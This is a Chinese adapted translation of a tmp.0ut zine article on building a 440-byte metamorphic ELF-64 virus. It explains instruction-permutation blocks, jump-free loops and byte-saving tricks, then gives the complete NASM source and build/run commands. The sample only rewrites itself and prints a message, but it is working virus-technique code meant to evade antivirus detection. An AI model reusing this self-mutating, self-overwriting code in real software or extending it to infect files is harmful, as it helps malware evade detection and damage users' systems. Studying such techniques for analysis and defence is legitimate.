本文根据 tmp.0ut 第五期中 ti3f 的文章编译整理,非逐字翻译;文中观点均属于原作者。
原文:A 440-BYTE METAMORPHIC ELF-64 VIRUS
文章内容来自 tmpout.sh,本译文依原站 CC BY-NC-SA 4.0 许可作为改编内容发布。如有侵权请通知,我会下架文章。 全文字符数:5098
引言
作者 ti3f 在一次骑车事故撞到头之后,写了自己的第一个病毒;随后他了解了变形病毒(metamorphic virus),并追问:它们能有多小?这篇文章描述一个 440 字节的变形 ELF-64 病毒。
先约定术语。按本文的用途,病毒是“执行某种 payload 的文件”——比如“关掉散热系统烧掉数据中心”那种;这里的病毒只打印 tmp.0ut。变形病毒在每次执行时变异:改变自身形态,但保持功能不变;它们是为了躲避杀毒软件而演化出来的。与自加密(多态)病毒不同,它们的魅力在于永远不会在内存中暴露“真实形态”——因为它们根本没有真实形态。听起来很棒,但很难写。为了简单,本文把“变形”理解为:病毒在执行时改变自己的二进制形态。这个病毒不会传播,只做变异并投递 payload;不过作者说,让它具备传染性、“绑上炸弹和刀”并不困难。
思路:最小形态的变形
对 z0mbie 那篇文章的误解给了作者灵感。可以按“块”来写病毒,执行时把每个块内的指令做排列置换。这算不上变形界的 B-2 隐形轰炸机,但简单且符合对“变形”的直觉。
具体约定:把每条指令视为 4 字节;每个块含 4 条指令;整个病毒由 20 个这样的块构成,外加 120 字节的文件头,总大小 120 + 20 × 4 × 4 = 440 字节。每个块有 4! = 24 种排列,理论上病毒可取 20 × 24 = 480 种不同形态。难点是:只能使用 4 字节(或更短)的 x86-64 指令,并把它们组合成对排列不变的块。
功能结构
既然不做什么“黑客”操作,真正影响病毒行为的只有系统调用。病毒的高级结构(括号内为系统调用):
创建文件(creat)
写入文件头(write)
写入变异后的代码段(write)
关闭文件(close)
覆盖调用者文件(rename)
执行 payload(write)
礼貌退出(exit)
形态:文件头与代码段
首先需要一个文件头。关于 ELF-64 文件头已有许多精彩文章,这里保持简单干净:只用一个程序头。通过魔改文件头可以让病毒更短,但本文焦点是代码段,作者不想分心。
代码段要做的事:创建一个名为 t 的可执行文件,文件名从栈上读。汇编如下:
mov rax, 85 ; creat
mov rsi, 0x1ff ; 文件权限 0777(原文注释误作 0755)
lea rdi, [rsp + 6] ; 文件名 "t"
mov [rsp + 6], "t"
mov [rsp + 7], 0x00
syscall ; 创建文件
mov rdi, rax ; 保存文件描述符
问题立刻出现:整数到寄存器的 mov 指令占 5 字节,而要求是 4 字节。解决办法是用功能等价但只写寄存器低 16 位的指令:
mov rax, 85 ; 5 字节 mov ax, 85 ; 4 字节
这要求寄存器高 48 位必须为零,否则程序会坏,但“能用就行”。整数到内存的 mov 同样占 5 字节,可以换一个寄存器做索引来绕开:
mov [rsp + 6], "t" ; 5 字节 mov rdx, rsp ; 3 字节
nop ; 1 字节
mov [rbx + 6], "t" ; 4 字节
寄存器到寄存器的 mov 只有 3 字节,用 no-op 补齐到 4;它必须出现在整数到内存指令之前,也就是属于前一个块。把指令交错并补齐块之后,基本手法就是:每个块无论内部指令如何排序,行为都必须相同。
写文件头时也差不多,唯一麻烦是“源地址”(origin)要存进 rsi。源地址小于 65536 会导致程序崩溃,必须保持不小于这个值;而 16 位只能存 65535,所以这样构造:
; origin = 65536
lea rsi, [origin] ; 8 字节 ; rsi = 0
mov si, 65535 ; 4 字节
lea rsi, [rsi + 1] ; 4 字节
写变异后的代码段:不用条件跳转的循环
代码段由 20 个 16 字节的块组成。C 语言里可以写成双重循环:外层遍历块(i += 16),内层把每个块的 4 条指令按置换顺序写出。循环很麻烦:不能用条件跳转——相对跳转会随块重排被搞坏,绝对地址跳转又超过 4 字节。替代方案是条件移动(cmov)加寄存器跳转。外层循环等价于:
; r14 = continue
; r15 = loop
xor rbp, rbp
...
loop:
; code
add rbp, 16
...
cmp rbp, 320
mov r8, r14 ; 先假设继续
...
cmovle r8, r15 ; 若 rbp <= 320 则回到 loop
...
jmp r8
continue:
循环本身要吃掉很多块,所以作者把嵌套循环改写成单层等价逻辑:
for (i = 0; i < 320; i += 16) { for (i = 0, j = 3; i < 320; j--) {
for (j = 3; j >= 0; j--) { ; code
; code if (j <= 0) {
} i += 16;
} j = 4;
}
}
循环体内写“置换后的一条指令”(省略循环逻辑):
; [rsp + 0] = 0
; [rsp + 1] = 1
; [rsp + 2] = 2
; [rsp + 3] = 3
; r12 = entry
; rbp = i
; rbx = j
rtrand r13 ; 随机数生成(注释沿原文,实际指令为 rdrand)
lea rsi, [r12 + 4 * rbp]
mov ax, 1
mov dx, 4
and r13, rbx ; r13 = random(0, j)
...
mov r9b, byte [rsp + r13] ; 置换整数
mov r10b, byte [rsp + rbx]
...
lea rsi, [rsi + 4 * r9] ; 被置换指令的地址
mov [rsp + rbx], r9b
mov [rsp + r13], r10b
...
syscall ; 把置换后的指令写入文件
栈上预先放好整数 [0, 1, 2, 3]。每轮循环从 0 到 j 之间随机取样一个索引,用该索引对应的整数去写文件,并把它与栈上第 j 个整数交换;下一轮从 0 到 j-1 取样,等价于无放回抽样。源偏移 i 被维护在特定尺度上,从而比较和索引都能用 4 字节指令完成:例如把 lea rsi, [r12 + rbp] + 7 字节的 cmp rbp, 320 改成 lea rsi, [r12 + 4 * rbp] + 4 字节的 cmp rbp, 80。
之后用前面介绍过的技巧完成关闭文件、重命名覆盖、执行 payload 和退出。
压缩技巧:六条
形态确定后,作者继续削减块数:
-
把指令交错编织,但尊重依赖链,并记得 syscall 会破坏 rax、rcx 和 r11。
-
把保存 origin(rsi)、entry(r12)、loop(r14)、continue(r15)地址的寄存器一起构造。这里用
not而不是mov来把 65535 存进扩展寄存器 r13w,正好 4 字节:mov r13w, 65535 ; 5 字节 ; r13 = 0 not r13w ; 4 字节 -
与其清零寄存器再用 mov(有时必须清零以免崩溃),不如用
lea配合已知值的寄存器:xor rbx, rbx ; ; rdx = 120 nop ~ lea rbx, [rdx - 117] mov bx, 3 -
算术操作会破坏 cmp 与 cmov 之间传递的条件标志,所以用
lea代替:dec rbx ~ lea rbx, [rbx - 1] -
复制循环迭代器 j,既要在当前使用,又要在后续块中递减。
-
循环迭代器 i 在首次进入循环时从不递增,所以可以把“加 16 后的值”放到循环末尾去设置。
-
把随机数生成指令从循环第一个块里挪走,改成在最后一个块里和“孤独的 jmp 指令”一起连发多次。这样置换只有 75% 的概率是随机的——“够好了”。
结论与演示
拼起来就是一个 440 字节的变形病毒。要可视化它的变异过程,可以运行:
nasm -f bin virus.asm -o virus; chmod +x virus
watch -t -c -n 0.1 "xxd -R always virus; ./virus"
作者感叹“它是不是很可爱”!用暴力静态分析很容易检测它:实际只有 16 × 24 + 1 × 12 + 3 × 4 = 408 种形态,因为有些块含重复指令。增大块大小可以让形态数按阶乘增长,但编写难度同样上升。作者觉得有趣的是,这种变形技术由一种特定的写作风格促成——限制反而逼出创造力。病毒本身没什么实际用途,但他希望其中的技巧或提出的问题对某些人有价值。他感谢 tmp.0ut、Phrack 和 VXUG 这类资源的贡献者;结语里还对多家大型科技与国防公司(Google、Amazon、Meta、Microsoft、OpenAI、Anthropic、Anduril、Palantir)表达了措辞激烈的批评。
virus.asm 完整清单
bits 64
; 多字节 no-op
%define nop2 db 0x66, 0x90
%define nop3 db 0x0f, 0x1f, 0x00
%define nop4 db 0x0f, 0x1f, 0x40, 0x00
%define origin 65536
; elf 头
db 0x7f, "ELF" ; e_ident
db 2, 1, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0 ; e_ident
dw 2 ; e_type
dw 0x3e ; e_machine
dd 1 ; e_version
dq origin + header_size ; e_entry
dq 64 ; e_phoff
dq 0 ; e_shoff
dd 0 ; e_flags
dw 64 ; e_ehsize
dw 0x38 ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
; 程序头
dd 1 ; p_type
dd 5 ; p_flags
dq 0 ; p_offset
dq origin ; p_vaddr
dq origin ; p_paddr
dq file_size ; p_filesz
dq file_size ; p_memsz
dq 0 ; p_align
header_size: ; 120
; 代码段
mov ax, 85 ; creat
mov si, 0x1ff
mov rbx, rsp
nop
mov [rsp], 0
mov [rbx + 6], "t"
mov [rbx + 7], 0x00
lea rdi, [rbx + 6]
not r13w ; r13 = 65535 = origin - 1
syscall ; 创建文件
nop2
mov dx, 120 ; header_size
mov [rbx + 1], 1
mov [rbx + 2], 2
mov rdi, rax
nop
lea rsi, [r13 + 1] ; origin
lea r14, [r13 + 127]
mov [rbx + 3], 3
mov ax, 1 ; write
lea rbx, [rdx - 117] ; rbx = 3
lea r12, [r13 + 121] ; entry
add r14, 90 ; loop = 0xd8 = 216 = 127 + 89
syscall ; 写入文件头
nop2
lea r15, [r14 + 95] ; continue = 0x138 = 312 = loop + 95
rdrand r13
nop4
loop: ; 216
and r13, rbx ; r13 = random(0, j)
nop
lea rsi, [r12 + 4 * rbp]
mov ax, 1 ; write
mov dx, 4
cmp rbx, 0
mov r9b, byte [rsp + r13]
mov r10b, byte [rsp + rbx]
mov r11, rbx
nop
cmovle rbp, rcx ; rbx <= 0 时 rbp += 4
cmovle rbx, rdx ; rbx <= 0 时 rbx = 4
lea rsi, [rsi + 4 * r9]
mov [rsp + r11], r9b
syscall ; 把置换后的指令写入文件
nop2
cmp rbp, 80 ; program_size / 4
mov r8, r14 ; loop
nop
nop4
cmovge r8, r15 ; rbp * 4 > program_size 时 r8 = continue,否则 loop
mov [rsp + r13], r10b
lea rcx, [rbp + 4]
lea rbx, [rbx - 1]
jmp r8
nop
rdrand r13
rdrand r13
rdrand r13
continue: ; 312
mov ax, 3 ; close
mov rbx, rsp
nop
mov dx, 8
mov [rsp], "t"
syscall ; 关闭文件
nop2
mov [rbx + 1], "m"
mov [rbx + 2], "p"
mov [rbx + 3], "."
mov ax, 82 ; rename
mov rsi, [rbx + 8] ; rsi = argv[0]
lea rdi, [rbx + 6] ; rdi = "t"
nop4
syscall ; 覆盖调用者文件
nop2
mov [rbx + 4], "0"
mov [rbx + 5], "u"
nop4
mov ax, 1 ; write
lea rdi, [rdx - 7] ; rdi = 1 = stdout
mov rsi, rsp
nop
mov [rbx + 7], 0xa
syscall ; 执行 payload
nop2
nop4
nop4
nop4
mov ax, 60 ; exit
xor rdi, rdi
nop
nop4
nop4
syscall ; 礼貌退出
nop2
nop4
nop4
nop4
file_size: ; 440
原文还给出了编译产物的完整十六进制字节(约 440 字节),用于直接核对或生成二进制;此处不再逐字节转录,需要精确字节请查看原页。